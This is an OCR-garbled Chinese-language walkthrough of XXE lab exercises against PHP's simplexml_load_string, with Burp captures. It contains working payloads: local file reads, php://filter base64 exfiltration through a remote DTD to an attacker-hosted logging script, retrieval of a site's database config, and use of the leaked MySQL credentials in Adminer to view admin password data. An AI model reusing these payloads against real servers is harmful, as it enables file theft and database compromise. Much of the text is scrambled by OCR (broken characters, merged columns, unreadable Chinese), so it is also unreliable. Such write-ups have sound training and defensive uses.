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<y version="1.0" ?>

<! note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<|ELEMENT heading (#PCDATA)>
< ELEMENT body (#PCDATA)>

1>

>
>George</to>
>John</ >
>Reminder</ >
>Don't forget the meeting!</
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"xml*
simplexml load_string 'SimpleXMLElement', LIBXML_NOENT

print_r
highlight_file(__ FILE_
?>
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<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA) >
<!ELEMENT from (#PCDATA) >
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA) >
1>
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
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APDLEWESDRLL/ D50 . 50 \AMLML, L1KE UESCKO) UNIOME/YLl. U. 44 2 Lid
Safari/537. 26

Accept:

2]

text/html, application/xhtml+xml, application/xml;q=0. 9, image/avif, image
/webp, image/apng, */%;q=0. 8, application/signed-exchange;v=b3;q=0. 9

9 Sec-Fetch-Site: none
10 Sec-Fetch-Mode: navigate
11 Sec-Fetch-User: ?1
12 Sec-Fetch-Dest: document
13 Accept—Encoding: gzip, deflate
14 Accept-Language: zh-CN, zh;q=0.9
15 Connection: close
16 Content-Type: application/x-www-form-urlencoded
17 Content-Length: 361
18
19 xml=<%3fxml+version%3d”1. 0"%3{>
20 <!DOCTYPE+note+[
21 ++<{!ELEMENT+note+(to, from, heading, body) >
22 ++< | ELEMENT+to++++++(%23PCDATA) »
23 ++¢ | ELEMENT+from++++ (%23PCDATA) »
24 ++{!ELEMENT+heading+(%23PCDATA) >
95 ++<{!ELEMENT+body++++ (%23PCDATA) >
26 1>

27 <note>
78 ++<to>Georged/tod
29 ++<{from>John</from> §

30 ++Cheading>Reminder</heading>
31 ++<body>Don’ t+forget+the+meeting!</body>
32 {/note>
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<?xml version="1.0"?>

<!DOCTYPE note SYSTEM "note.dtd">
<note>

<to>George</to>

<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>

0 matches
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16

HITP/1.1 200 0K

Date: Thu

19 Aug 2021 06:21:49 GMT

Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fecgid/2. 3. 9a mod_log
X-Powered-By: PHP/T.2. 4

Connection: close
Content-Type: text/html; charset=UTF-8

Content—

Length: 1269

SimpleXMLElement Object

to] =

George

from] => John ‘_---____‘

[
[
[heading] => Reminder
[

body] => Don't forget the meeting! -

)

<code>
<span
<span

style="color:
style="color:

$test{/span>

<span
<span
<span
<span
<span

style="color:
style="color:
style="color:
style="color:
style="color:

<[span>

<span
<span
<span

style="color:
style="color:
style="color:

#000000” >
#0000BB” »&1t; ?php<br />

#007700”>=</span>
#0000BB”>$_POST</span>
#0077007> [</span>
#DD0000”>" xml’ </span>
#OOTT007>] ;<br />

#0000BB” >$obi&nbsp; </span>
#007700”>=&nbsp;</span>
#0000BB”>simplexml load string</span>
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> IthEBfE > DATA (D) * phpstudy8 > WWW > xml v O
A - -
BIR B aE T el \:td\ L ROST=
Biphp C— 2021/8/19 12:3&“ ]Eagt@ h p‘[tﬁg 1KB
8 2.php 2021/8/19 13:59 PHP =zi% 1 KB
D note.dtd 2021/8/19 14:25 DTD 3Zi% 1 KB
[ xoce.xml \ 2021/8/19 13:47 XML 28 1KB
FrEHmIL—T, EWHEH
O LACIe~LOILIOL D [Hdx—dage—uw
) IR S e _wagm ) » o _rogr 2 Date: Thu, 19 Aug 2021 05:25:28 GMT
4sec ch-ua: Chro?lum =9l Not:A Brand”;v="99 3 Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod
5 sec-ch-ua-mobile: 20 . . -
) 4 X-Powered-By: PHP/T. 3. 4
6 Upgrade-Insecure—-Requests: 1 5 Connection: close
i User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) ¢ Content-Type: text/html; charset=UTF—8
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AppleWebKit/537. 26 (KHTML, like Gecko) Chrome/91.0.4472. 124

Safari/537T. 36
Accept:

[e5]

text/html, application/xhtml+xml, application/xml;q=0. 9, image/avif, image
/webp, image/apng, */*;q=0. 8, application/signed-exchange;v=b3;q=0. 9

©

Sec-Fetch-Site: none

10 Sec-Fetch-Mode: navigate

11 Sec-Fetch-User: ?1

12 Sec-Fetch-Dest: document

13 Accept-Encoding: gzip, deflate

14 Accept-Language: zh-CN, zh;q=0. 9

15 Connection: close

16 Content-Type: application/x-www-form—-urlencoded
17 Content-Length: 189

18

19 xml=<%3fxml+version%3d”1. 0"%3f>
20 <!DOCTYPE+note+SYSTEM+ note. dtd”>
21 <note>

22 <torGeorged/tor

23 <from>John</from>»

24 <heading>Reminder</heading>

25 <body>»Don’ t+forget+the+tmesting!</body>
26 </note>+

\_
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DTDs: 44

0 matches
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12

Content-Length: 1269

SimpleXMLElement Object

(

[to] => George

[from] => John

[heading] => Reminder

[body] => Don’ t forget the meeting!

)

<code>
<span style="ceoleor: #000000">
<{span style="color: #0000BR">&lt;?php<br />
$test</span>
<span style="color: #007700”»=</span>
<span style="color: #0000BR”>$_POST</span>
<span style="color: #007700">[<{/span>
<span style="color: #DD0000”>’ xml’ </span>
<span style="color: #0077007>];<br />
</span>
<span style="color: #0000BB”>$obj&nbsp;</span>
<span style="color: #007700">»=&nbsp;</span>
<span style="color: #0000BB”>simplexml load str

OB €)3) [Geoen-

DTDSEf 2 T 58 X 51 F ¥ 8 S A BUR IR A O PRt 77 SR AR &, T DA B0 7S B Bsh 51 A

TR o R — BRI S H S ik
1, —RSEAR I A R
SIS TR &Sk 4;

2, SHEARRAGEDTDHMEM, SELARRIHE %K

SIS R %LiE 4,
1. PIERSEARFS B



<?xml version="1.0"?>

<!DOCTYPE test [

<IENTITY writer "Bill Gates">

<!ENTITY copyright "Copyright W3School.com.cn">

1>

<test>&writer;&copyright;</test>
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Host: 127.0.0.1

Cache-Control : max—-age=0

sec—ch—ua: “Chromium”;v="91", ” Not;A Brand”;v="99"
sec—ch-ua-mobile: ?0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537. 36 (KHIML, like Gecko) Chrome/91.0.4472.124
Safari/537. 26

Accept:

HITP/1.1 200 OK

Date: Thu, 19 Aug 2021 06:28:14 GMT

Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2. 2. 9a moc
X-Powered-By: PHP/7. 2. 4

Connection: close

Content-Type: text/html; charset=UTF-8

Content-Length: 1212
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SimpleXMLElement Object

L L . e 10 (
text/html, application/xhtml+xml, application/xml ;q=0. 9, image/avif, inage s .
/webp, image/apng, */*;q=0. 8, application/signed-exchange;v=b3;q=0. 9 il }O] » Bill GatesCopyright W3School. com. cn
Sec-Fetch-Site: none N
13 <code>

Sec—Fetch-Mode: navigate

Sec-Fetch-User: ?1

Sec-Fetch-Dest: document

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN, zh;q=0. 9

Connection: close

Content-Type: application/x-www-form-urlencoded
Content-Length: 177

<span style=fcolor: #000000">

14 <span style#”color: #0000BB”>&lt;?php<br />
$test</span>
<{span style="color: #007700">=¢/span>
<{span style="color: #000OEB”>$ POST</span>
<span style="color: &007700"»[</span>
<span style="color: #DD0O000">" xml’ </span>
<{span style="color: #0077007>1;<br />

- : PR </span>
?Tééé?gggiiggii?lon%ad L e “'—”,”, <span style="color: #0000BB”>$obj&nbsp;</span>
. <span style="color: #007700">=&nbsp;</span>

<IENTITY+writer+"Bill+Gates”> _» - py oz ;
CVENTITY+copyright+” Copyrisht+i3school. com. cn”s <span style="color: #0000BB”>simplexml_load_string</span>

s <span style="color: #007700”> (</span>
<span style="color: #0000BB”>$test</span>

> 2 < tyle="color: #0077007>, < >
<test>%26writer%3b%26copyright%3bd/test)| span stylem coter: = /span
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<?xml version="1.0"?>

<!DOCTYPE test [

<!IENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
<!IENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">

1>

<author>&writer;&copyright;</author>
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<?xml version="1.0"?>

<!DOCTYPE xml [

<IENTITY xxe SYSTEM "file:///C:/1.txt">
1>

<XXe>&xxe;</xxe>

KAV HECH B F P 1.txt30



Request Response

Pretty IiENYM Hex \n = Raw Hex Render \n =

1 POST /xml/1.php HITP/1.1 1 HITP/1.1 200 OK

2 Host: 127.0.0.1 2 Date: Thu, 19 Aug 2021 06:37:43 GMT

3 Cache-Control: max-age=0 3 Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod
4 sec—ch-ua: "Chromium”;v="91", ” Not:A Brand”;v="99" 4 X-Powered-By: PHP/7.3.4

sec—ch-ua-mobile: ?0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winb4; x564)
AppleWebKit/537. 36 (KHTML, like Gecko) Chrome/91.0.4472. 124
Safari/537. 36

) Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 1198

1 o
[=]

oo =

=]

SimpleXMLElement Object

8 Accept: 10 (
text/htnl, application/xhtml+xml, application/xml;q=0. 9, image/avif, image/ 11 [0] => X HEAFEXNE
webp, image/apng, */#%;q=0. 8, application/signed-exchange;v=b3;q=0. 9 12

9 Sec-Fetch-Site: none 13 <cod,

10 Sec-Fetch-Mode: navigate

11 Sec-Fetch-User: ?1

12 Sec-Fetch-Dest: document

13 Accept-Enceding: gzip, deflate

pan style="color: #000000”>

<span style="color: #0000BB”>&1t;?php<br />
$testd/span>

<span style="color: #007T00”>={/span>

14 Accept-Language: zh-CN, zh;q=0.9 <span style="color: 20000BB”>$_POST</span>
5 Connection: close <span style="color: #007700">[<{/span>
16 Content-Type: application/xz-www-form-urlencoded <span style="color: #DD000C0">" xml’ </span>
17 Content-Length: 105 <{span style="color: #00TT00">]1;<br />
18 </span>
19 xml=<?xml version="1.0"%?> <span style="color: #0000BB”>$obji&nbsp;</span>
20 <!DOCTYPE xml [ <span style="color: #007700">=&nbsp;</span>
21 <!ENTITY xxe SYSTEM "file:///C:/1.txt”> <span style="color: #0000BR”>simplexml_ load st
221> <span style="color: #007T00”> (</span>
23 {xxer&xxe;{/xxe> iafr%u rlgﬁﬁg <span style="color: #0000BB”>$test<{/span>

<span style="color: #007700">, {/span>

JiiE—: EEDTDASFIASMEDTO IS, F ISR ER, BT EE SIS EARA U T, HERERUARARE R
EATp

4» index.php . | Index.php X | 2.php X php shell.php

<?php

test=$_POST[ 'xml'];

obj ($test, 'SimpleXMLElement"',
LIBXML NOENT);

#print_r(%$obj);

nighlight file(  FILE
?

HRATA K phpRAGH I E R AR T, IRITE A KBS BTN e/ xCCHFWE? RE 8, HEEAMIRE EWiESE— NphpsC
1 x.php

<?php
$content = $ GET['1'];
if(isset($content)){
file_put_contents('flag.txt', 'EHIIA: ' .date("Y-m-d H:i:s")."\n".$content);
}else{
echo 'no data input’;



FIEE A xxe.xml HIFESEARSCRY

<IENTITY % all

"<IENTITY &#x25; send SYSTEM 'http://127.0.0.1/xml/x.php?1=%file;"'"
>

%all;

S SO N B b a2

> thESBE > DATA (D) » phpstudy8 > WWW > xml

Ea

A~ ZeHE Eit]

B 1.php 2021/8/19 14:46 PHP 3744

B xphp 2021/8/18 14:50 PHP %

D soce.xml 2021/8/19 14:49 XKML =2
B Wi —/ payload

<?xml version="1.0"?>

<!DOCTYPE ANY[

<IENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=c:/1.txt">
<IENTITY % remote SYSTEM "http://127.0.0.1/xml/xxe.xml">

%remote;

%send;

1>
postEs kK, KRIMAERT —Mflag.txt

1 > {FBES > DATA (D:) > phpstudy8 > WWW > xml

s [#] #ERstatEs =t CEEITIE LR TR Sf{ii Bz 3 Cache-Control: max-age=0
@1 4 sec—ch-ua: “Chromium”;v="91", ” Not;A Brand”;v="99"
SRR ER i #7335 sec-ch-ua-mobile: 20
6 Upgrade-Insecure-Requests: 1
T

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36

I, ~ RES sem (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537. 36|
e 3 Accept:
B 1.php 2021/8/19 14:46 ppi  text/html, application/xhtml+xml, application/xml;q=0. 9, inage/avif, inage/webhp,
[ flag.txt 2021/8/19 14:53 ] iMage/apng,T/*;q=O.8,applicaticn/signedfexchange;v=b3;q=0.9
B xph 2021/8/19 14:50 prpq O Sec-Fetch-Site: none
PP ’ 10 Sec-Fetch-Mode: navigate
D xxe.xml 2021/8/19 14:49 XML111 Sec-Fetch-User: 21
12 Sec-Fetch-Dest: document
B 13 Accept-Encoding: gzip, deflate

14 Accept-Language: zh-CN, zh;q=0.9

15 Connection: close

16 Content-Type: application/x-www-form-urlencoded
17 Content-Length: 206

18 /

19 xnl=<?xnl version="1.0"?>

20 <!DOCTYPE ANY[

21 <IENTITY % file SYSTEM

ws (C:) “php://filter/read=convert. basef4-encode/resource=c:/1. txt”>
22 <IENTITY % remote SYSTEM “http://127.0.0.1/xml/xxe. xml”>

& he 23 Yremote;
24 Y%send;
25 1>

EERNBMA RN i Ibase64 X, MEIG— T BA LB B K KA R

oo W

© o

=)

11
12

Foh

1 KB
1 KB
1 KB

Date: Thu, 19 Aug 2021 06:53:02 GMT
Server: Apache/2. 4. 39 (Win64) OpenSS|
X-Powered-By: PHP/7.3. 4

Connection: close

Content-Type: text/html; charset=UTF-
Content-Length: 413

<br />
<b>
Warning
<Ib>
simplexml_load_string () : Entity:
D:\phpstudy8\WW\xm1\1. php
</b>
on line <b>
3
</b>
<br />
<br />
<b>
Warning
</b>
simplexnl_load_string(): J&sgt; in
D:\phpstudy8\WW\xnl\1. php
</b>
on line <by
3 ISERY-YI-IX X"



flag.txt - iB54=

IR () BRU0) =EH(V) FEIH)
EFfATE:2021-08-19 14:53:03

6L Z6YeM5a2Y5ZyoWFhF5ryP5rSe|

247, 295 100% Unix (LF) UTF-8
R WLk ?
AEREFESIFIIN I T E
BARRREE RS AN GE:
1. EBUEECH

2. PITRLMS (expectTmEY RIH)
3. FMKFHO G htp D

4. Bt vy 3

XXE-1

it L, BRIIBERS TR TXOERER AR, BN SRIFT
SRFFH: http://59.63.200.79:8014/xxe/index.php

TIPS E B — MR 0oelE A K R

$postObj = simplexml_load_string($postStr, 'SimpleXMLElement', LIBXML_NOCDATA);



T $postStriz Hipostf& 2 I W & Bz, B LUX BAFFEXXESRIR

RIE TR T 40T R4

Notice: Undefined index: HTTP_RAW POST DATA in C:\phpStudy\WWW\xxe\index.php on line 114

REEAMREH T, HTREEEEE, 2R RS S HBARATRINIE x.php 1 xxe. xml

[ x.php 2021-08-19 13:59:11 170 b 32
(B xoxexml 2021-08-19 13:58:20 98 b 32

HE R 4xt 42 7] DLk Elflag, payload

BHRAREA AWvpsik S8 H1iE, XEAPEEAR LKA LA
http://59.63.200.79:8017/1.xml

http://59.63.200.79:8017/3.txt

iy 1) E AR AN — AT LA

<?xml version="1.0"?>

<!DOCTYPE ANY[
<IENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=c:/phpStudy/WWW/xxe/flag.php">

<IENTITY % remote SYSTEM "http://59.63.200.79:8017/1.xml">
%remote;
%send;

1>



Request Response

Raw Hex \n = Raw Hex Render \n

FI 1 POST /xxe/ HTTP/1.1 1 HTTP/1.1 200 OK
2 Host: 59.63. 200. 79:8014 2 Date: Thu, 19 Aug 2021 ¢(
3 Cache-Control: max-age=0 3 Server: Apache/2.4.23 (I
4 Upgrade-Insecure-Requests: 1 4 Connection: close
5 User-Agent: Mozilla/5. 0 (Windows NT 10.0; Winf4; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91. 35 Content-Type: text/html
6 Accept: text/html, application/xhtml+xml, application/xml;q=0. 9, image/avif, image/webp, image/apng, */*;q=0. 6 Content-Length: 35273
7 Accept-Encoding: gzip, deflate 7
5 Accept-Language: zh-CN, zh;q=0. 9 8 <code>
9 Cockie: 6N9z saltkey=0hjcNyJj; 6N9z ulastactivity=9976sNScFRWpHIvS91ghG40zwNT5TibTYTgVryc%2F JuHCFakY J1Bc <sgpan style="color: #
10 Connection: close 9 <span style="color:
11 Content-Length: 234 show_source</span>
12 {span style="color: #(
13 <?xml version="1.07%> <span style="color: #(
14 <!DOCTYPE ANV[ <span style="color: #(
15  <IENTITY % file SYSTEM “php://filter/read=convert. base64-encode/resource=c:/phpStudy/WWW/xxe/flag. php </ span>
16 <!ENTITY % remote SYSTEM “http://www. ‘'m com/html/xxe. xml1”> <span style="color: &l
17 Yremote; &nbsp;&nbsp;&nbsp;&nb:
18 %send; &nbsp;&nhsp;&nbsp;énhb:
19 > */<br />
<br />
</ span>
<span style="color: #(
{span style="color: #(
<span style="color: #l
<span style="color: #(
<span style="color: #l
<sgpan style="color: #
</span>
& C A =2 g pemmn.com/html/tmp/flag.txt
HOWE @ vouTube BF #E B wE @) TelegramWeb W Twitter — 2. B =% - MYFREEMP.. @ 7 ros 5

EHAE): 2021-08-18 15:11:39
PDO9waHAg eV OdE Tl CA6a3p 7 S6F Ja 2V SLVh4RK OnOw==

base64f#S— Tt flagT

XXE-2

LRI http://59.63.200.79:8207/

T —FRAM, F—THREKILZNRCMSE



PO A L Cpeisoaas pio saua I P W P I VR P Y

<link rel="stylesheet” type="text/css” href="//50. 63 200, 79:8207 /template/ 599/ skin/stvle/1ik. cas >

<{link rel="stylesheet” type="text/css” href="//50.63. 200, 79:8207/template/s99/ skin/style/style. cas™>

{link rel="stylesheet” type="text/css” href="//50.63. 200, 79:8207/template/599/ skin/style/999, css™>

{zeript type="text/javascript” sre="//59.63. 200. 79:8207/template/s99/ skin/ is/ jouery-1. 11. 3. min. j="></script>

{zeript type="text/javascript” sre="//59. 63, 200. 79:8207/template/s99,/skin/ js/org 1470120033, i5” data-main="indexMain™></s
<title> EMIMEEETE - Powered by [ARCHSERUG/title>

<link href="//59.63. 200. 79: 8207,/ media/20151018095214828, png” rel="shortcut icon™>

</head>

Sl A

W= OO0 N L.

T HIR RS 5 82 B Bisimplexml_load_string, XANA 5t Blxxe

}

if ($signature != "" gg Sechostr == "")
SpostArr = flle _get contents{"*'“:f:;:::t"];
spostop) = ITICCIMETTMCIREY (SpostArr) ;
$ToUserName = SpostObj )FromUserName.
$FromUserName = $postObj->ToUserName:
§MagIype = S$postObj->MsgTlype:;
§strEvent = $postObj->Event;
SEventKey = SpostObj->EventKey;

i

1. $postArr £ php:/finputB #EH:Z postts ). php:/finputil LLiLEUR A 4k 2 id i POSTHIE, HET
$HTTP_RAW_POST_DATAIM &, BHEWHFHRHENE D, FEATERKNphp.inikE, php:/inputfaeHT
enctype=multipart/form-data. B & 77 7E XXE

2, Hikifi R %M, $signature N A, sechostr B AT, iBE K I signaturefllechostrifi & GETH S
3. 47 B 7F weixin/index.php, BT BAif i J5 7% 5138 77 78 /conn/conn.phpi) 3C 44, B A& & 808 B e

FIETHLE T, WER T FRwindows& %t, Wl — T c:/windows/win.ini

<?xml version="1.0"?>

<!DOCTYPE ANY[

<IENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=c:/windows/win.ini">
<IENTITY % remote SYSTEM "http://59.63.200.79:8017/1.xml">

%remote;

%send;

1>



Request Response

Raw Hex \n = Raw Hex Render \n =

1 POST /weixin/index. php?signature=1&echostr= HITP/1. 1 10
2 Host: 59.63. 200. 79:8207 11
3 Upgrade-Insecure-Requests: 1 12
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/527.3€ 13
5 Accept: text/html, application/xhtml+xml, application/xml;:q=0.9, image/avif

5 Accept-Encoding: gzip, deflate

Accept-Language: zh-CN, zh;q=0. 9

3 Cookie: 6N9z_saltkey=0hjcNyJji; 8N9z_ulastactivity=9976sNScFRWpHIy91 ghG4C

9 Connection: close

.0 Content-Length: 224

1

2 <?xm]l version="1.0"%>

.3 <!DOCTYPE ANY[

.4 <IENTITY % file SYSTEM “php://filter/read=convert. base64-encode/resour’ 14
5 <!ENTITY % remote SYSTEM “http:/; = coeie coo/html/xxe. xm1”> 13
.6 Y%remote;

7 %send;

8 I

—
=3

Content-Type: text/html;charset=utf-8

<br />
<b>

Warning
/b

simplexml load string(): Entity: line 6: parser error :

C:\phpStudy‘\scms\weixin\index. php
<>
on line <bx
33
/b
<br />
<br />
<b»
Warning
/b
simplexml_load_string(): %send; in <b>
C:\phpStudy‘\scms\weixin\index. php
<>
on line <b>
33
/b
<br />
<br />
<b>
Warning

s IR’ T

xmlPax

:‘?‘) {’C:J} ‘E‘ ‘E| ‘ Search... 0 matches @ {’C:J} ‘E”E| ‘ Search...

Al DL E B F 2 H i % 42 52 B conn/conn.php

payloadfn T

<?xml version="1.0"?>
<!DOCTYPE ANY[

<IENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=C:/phpStudy/scms/conn/conn.php">

<IENTITY % remote SYSTEM "http://59.63.200.79:8017/1.xml">
%remote;
%send;

1>

« > C A F=Z2| § ~em/html/tmp/flag.txt
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LOAD SPLIT EXECUTE TEST ~ saLl ~ X888 - L= = SSTI ~ ENCODING ~ HASHING ~ THEME -~

Jconn = mysdli_connect("192.168.0.10","xxe", "teiwol8#7ERe1DPC!, "scms");
mysali_guery($conn,'set names utfg');

date_default_timezone_set("

it (I3conn) {

die(r o st o= ;' . mysai_connect_error());

.1 /data/function.bas’;

R IE RS 7T LL3R B adminer.php2 £ #3035 FE i1 /5 & http://59.63.200.79:8207/adminer.php

R

¢ X A FZ2| 59.63.200.79 o %
BS: B v

Adminer 4.7.5 =5R

ol R |[Mysal vl

BRE oo |
=1
HiERE | SCMS |

O EEES

\ig




< C A T2 | 59.63.200.79:8207/adminer.php?server=192.168.0.10&username=xxe&8db=scms&sql=show%20global%20variables%20like?

E=: (BRT MySQL » 192.168.0.10 » scms » SQLap%
Adminer 4.7.5 4.8.1 SQLAp%s

ﬂﬁﬁ show global wariables like "Hsecureh”

SQL&S =N (=i Variable_name | Value

elf== secure_auth ON
secure_file_priv. | NULL

i— +a s =

¥EZ SL_admin 247 fRiE, SH

%42 SL bbs

show global variables like “%secureh”

1#E1Z SL_brand
%42 SL bsort
154% SL_collection
&2 SL comment
5% SL_config
%42 SL contact
175% SL_content
EE SL event
15E% SL_form
1%51F SL_guestbook
1% SL_invoice
1#5#Z SL_link

P52 SL_list

#5Z SL_log

15E% SL_lsort

B2 SL_Iv

% SL_member
EEE SL_menu
##E SL_mtype PREITE: || O LERHELL O (RETRER
5EZ SL_news

1542 SL_nsort ks

15E9Z SL_orders u

EZE SL oss

1551F SL_product

&4Z SL psort

== [BEET - MySQL » 192.168.0.10 » scms » j&#%: SL_admin
Adminer 4.7.5 4.3.1 Pei%E: SL_admin
i BEME BTAN GAE  ENE
soLss =) ey [1&&] [19§] [Hﬂ%j B AR M
Bl 0 ||| [100 ]
52 a SELECT # FROM ~SL_adnin’ LIMIT 50
%1% SL_admin
BE4Z SL_bbs [ 1230 A_idefefefefe A_login = A_pwd A_part A_textauth A_newsauth
%’g:fg;ﬂd e 12 admin d2RubWQ= | 6LCBAG3nmoTkubHmILnmIbDmja4= | 5Y6fZmxhZ +S4umFkbWIudGVzdHYx77yM5pS5ZmxhZ+WPuOS4qumprA=
¥EZ SL_collection
¥EZ SL_comment Fﬁﬁ%% 1*3351 EL"’F (1) S (1)
1% SL_config C] 143 ﬁ%‘ g
BEFE SL_contact ‘

BEfE SL_content
BEE SL_event
BEHE SL_form

&% SL_guestbook
¥EPE SL_invoice e N o
#i%2 SL_link oy
R st SHRAKSHED

E1E SL_log

ERMBHFERR, XMEERREINRERE, IUERATERRER



show variables like “gener%”

Variable_name Value

general_log OFF

general_log_file |/usr/local/mysql/var/localhost.log

2 i1 R, S

show wvariables like “gener%”
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